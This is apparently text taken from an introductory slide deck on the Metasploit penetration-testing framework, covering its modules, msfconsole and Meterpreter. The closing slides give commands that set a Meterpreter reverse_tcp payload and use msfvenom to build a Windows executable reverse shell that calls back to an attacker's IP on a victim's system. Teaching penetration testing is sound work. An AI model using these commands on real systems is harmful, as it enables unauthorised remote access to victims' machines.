Metasploit is an open source framework for penetration testing that allows users to perform vulnerability scanning, exploit development, and post-exploitation. It provides tools for information gathering, vulnerability scanning, pre-exploitation and post-exploitation tasks. Metasploit has modules for exploits and payloads that are used together, with payloads being the code executed on the target and encoders ensuring payloads reach their destination. The msfconsole interface provides centralized access to Metasploit's options like finding vulnerabilities through open ports and setting the listener, payload, and target for exploitation. Meterpreter is an advanced payload included in Metasploit that has additional features for tasks like keylogging and taking screenshots.
2. Metasploit
Metasploit is an open source, freely available
framework that is used by professionals.
For vulnerability scanning & penetration testing.
Development of exploits, Payloads.
3. Why Metasploit ?
It provides the end to end framework for
penetration testing
Information gathering
Vulnerability scanning
Pre & post Exploitation
Exploit Development
4. METASPLOIT ARCHITECTURE
MODULES AND LOCATIONS
Exploits
Defined as modules that use payloads
An exploit without a payload is an Auxiliary module
Payloads, Encoders, Nops
Payloads consist of code that runs remotely
Encoders ensure that payloads make it to their destination
Nops keep the payload sizes consistent
Primary ModuleTree
Located under /usr/share/metasploit-framework/modules/
5. Vulnerability
The word vulnerability, in computer security, refers
to a weakness in a system allowing an attacker to
violate the confidentiality, integrity, availability
EXPLOIT =Vulnerability + Payload;
6. MSF Console
The msfconsole is probably the most
popular interface to the Metasploit
Framework (MSF). It provides an allin-one
centralized console and allows you efficient
access to virtually all of the options
available in the MSF.
To find the vulnerabilities like open ports,
reverse tcp ports.
10. Set payload
Set payload windows/meterpreter/reverse_tcp
Meterpreter and shell
The meterpreter is simply an advanced payload(stages)
included in the metasploit framwork. It is an extensible
payload with a lot of features, like it can be used for
key logging, getid, snapshots from remote desktop when
connected.
11. Exploiting Windows
The concept of exploiting a vulnerability on Linux or
Windows OS remains same.
For this we need MSFVENOM to generate an executable
with specific options and payload that can be executed in
victims system
COMMAND
Msfvenom -p windows/Meterpreter/reverse_shell
LHOST=<Attackers IP> LPORT = < Attackers port> -f exe
/usr/bin/shell.exe
-p for specific payload used
-f for which foemat using exe, pdf.